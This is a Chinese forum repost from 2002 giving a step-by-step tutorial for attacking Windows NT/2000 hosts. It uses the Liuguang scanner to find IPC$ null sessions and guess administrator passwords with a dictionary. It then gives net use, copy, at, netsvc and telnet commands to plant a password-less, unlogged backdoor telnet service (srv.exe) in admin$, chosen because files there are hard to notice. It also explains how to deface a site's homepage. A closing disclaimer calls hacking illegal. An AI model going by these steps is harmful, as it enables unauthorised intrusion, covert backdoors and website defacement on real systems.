徒然居

无病呻吟之所,之所以用这个名字,是因为我喜欢〈徒然草〉这本书。

133 成员433 主题1,642 回复0 张照片

黑客攻击实例-Win NT/2000主机攻击(转载)

聂
聂风01
2002-02-06 13:04
黑客攻击实例-Win NT/2000主机攻击

  黑客们是怎么攻击网站的?是如何更改别人主页的?我这里就通过一个实例展示黑客攻击最简单的一种手法。

  我们用到的操作系统是Windows2000 Professional,工具,小榕软件之“流光”。流光是一个非常强大的“网络安全检测”工具,功能十分全面,据我所知,这个软件在国内的网络大虾中是很流行的。这里我们只利用其中的IPC$探测功能。



  IPC$是共享“命名管道”的资源,它对于程序间的通讯很重要。在远程管理计算机和查看计算机的共享资源时使用。利用IPC$我们可以与目标主机建立一个空的连接(无需用户名与密码),而利用这个空的连接,我们就可以得到目标主机上的用户列表。用“流光”的IPC$探测功能,就可以得到用户列表了,并可以配合字典,进行密码尝试。

  下面我们就来看一下这次攻击实例。

  首先确定攻击目标,扫描一段IP地址,找一台Windows2000/NT主机。

  启动“流光”

  选择“探测”下的“扫描POP3/FTP/NT/SQL主机”,会出现“主机扫描设置”;在“扫描范围”中分别填写“开始地址”与“结束地址”,这里我分别填入了207.235.15.1和207.235.15.225;“扫描主机类型”选择“NT/98”

  选择“探测”下的“扫描POP3/FTP/NT/SQL主机”,会出现“主机扫描设置”;在“扫描范围”中分别填写“开始地址”与“结束地址”,这里我分别填入了207.235.15.1和207.235.15.225;“扫描主机类型”选择“NT/98”

  并选择“常用密码扫描”和“将扫描成功的结果加入当前设置”,OK,按“确定”开始吧~!



  好了,结果出来了,哇塞!有这么多!刚才我们选择了“将扫描成功的结果加入当前设置”,探测得到的主机会自动添加到“辅助主机”下的“IPC$主机”下面。

  有这么多目标,我们去探测哪一个好呢?你可以在“IPC$主机”上单击鼠标右键,选择“探测/探测IPC$用户列表”,这样会读取所有的主机的用户。这里我选择其中的一台主机探测,在这台主机上(以IP表示),单击鼠标右键,选择“探测/探测所有IPC$用户列表”,在弹出的窗体中选择“仅探测Administrators组的用户”,不知道什么是Administrators组?我倒……,Administrators组就是管理员组,拥有最高的操作权限。弹出窗体是询问“是否在成功获得用户名后立即开始简单模式探测”,选择“是”,在得到用户名后,会使用“SINGLE”字典来尝试密码,这里面包含了一些简单的常用的密码,你也可以自己编辑这个文件,加入你认为常用的密码,可以在安装程序的文件夹下找到。开始!

  等几分钟,结果出来了,哈哈!果然有漏洞,好好运啊!探测发现,管理员组下的Administrator的密码竟然为空。

  我们将与主机建立一个远程连接,并上传一个Telnet程序上去,启动一个Telnet服务,然后我们就远程登录上去,然后……

  建立远程的连接,我们使用,Windows2000下的net命令,命令格式:net(空格)use(空格)\\IP\ipc$(空格)“密码”(空格)/user: “用户名”,这个要到Windows2000下的“命令提示符”中运行(开始菜单/程序/附件/命令提示符)。如果显示:“命令成功完成”,那我们的通过IPC$的远程连接就成功了。



  登陆成功之后复制一个Telnet的程序上去(小榕流光安装目录下的Tools目录里的Srv.exe),这个程序会在NT/2000主机上面开一个Telnet服务,端口是99。

  命令:copy c:\srv.exe(空格)\\IP\admin$

  admin$是NT的默认的隐藏共享,他对应的是NT目录里的system32目录.一般是在c:\winnt\system32,我们把程序拷贝到admin$,是因为这里的文件比较多,不容易被发现.同时启动时也不必指定具体路径,比较方便。过一会儿,显示“已复制 1个文件”这时我们复制文件就成功了。其实你只是想改他主页,那么,copy c:\你的主页文件(必需改为与主机上首页一致的名字.扩展名) \\IP\c$\inetpub\wwwroot 就可以了。这是默认的路径,实际中要看主页的真实路径。

  下一步就是要启动这个Telnet程序了,我们利用NT/2000上面的Schedule(时间计划)服务来启动这个程序。首先看一下对方此时的时间,以便决定何时启动。

net time(空格)\\IP

  过一会儿,会返回时间信息,因为不是在同一时区,所以有“当前时间”和“本地时间”,“当前时间”是你现在所在时区的时间,“本地时间”是目标主机所在时区的时间,这里的即“美国东部时间”,我们要用到的就是这个时间。我们设置在一分钟后启动Telnet程序(Srv.exe)。

at(空格)\\IP(空格)启动时间(空格)srv.exe

显示:“新加了一项作业,其作业 ID = X”



  如果显示“服务仍未启动”的话,对方就是没有启动Schedule(时间计划)服务。不过此时我们已经是Administrator,可以利用微软的NT Rtk中的NetSvc来远程启动Schedule服务。NetSvc在流光的安装目录下的tools目录下。

  远程启动方法为:netsvc(空格)\\IP(空格)Schedule(空格)/start

  启动需要三到五分钟,显示:Service is running on \\IP

  此时服务便成功启动,再按照上面使用net time和at命令启动srv.exe

  等一会儿,我们就可以Telnet上去了:telnet(空格)IP(空格)99(srv.exe开的端口是99所以我们就telnet ip 99,这个程序好在不用输入口令和没有日志记录,但是每次使用后都会自动关闭,下次要重新启动,才能再用)

  好了,成功登录了,现在我们是远程操作对方的主机,用DOS命令就可以了。



说明:

  我这里的例子是经过选择的,我只是向大家展示一个简单的攻击过程,攻击主机并不是这样简单的,需要很大的耐心。有漏洞的主机地址已被隐去,并通知对方修改密码了。要指出的是,网上的黑客行为是违反我们国家的法律制度的,请不要进行任何有破坏性的行为,特别的,请不要攻击国内的主机,这是非常危险的,法律不是儿戏,切记!!!

附录:

NT远程登陆的命令行语法
net use <\\IP Address\IPC$> ["password"]

退出登陆的语法
net use <<\\IP Address\IPC$> /delete(宁雨)
我始终相信网真实的,你们呢?
希望大家都是好朋友,我会真诚对待每个人,
徒然居是一个温暖的家,希望大家长来,
也长来黑贼论坛看看,多提宝贵意见。
1 / 1

登录后回复。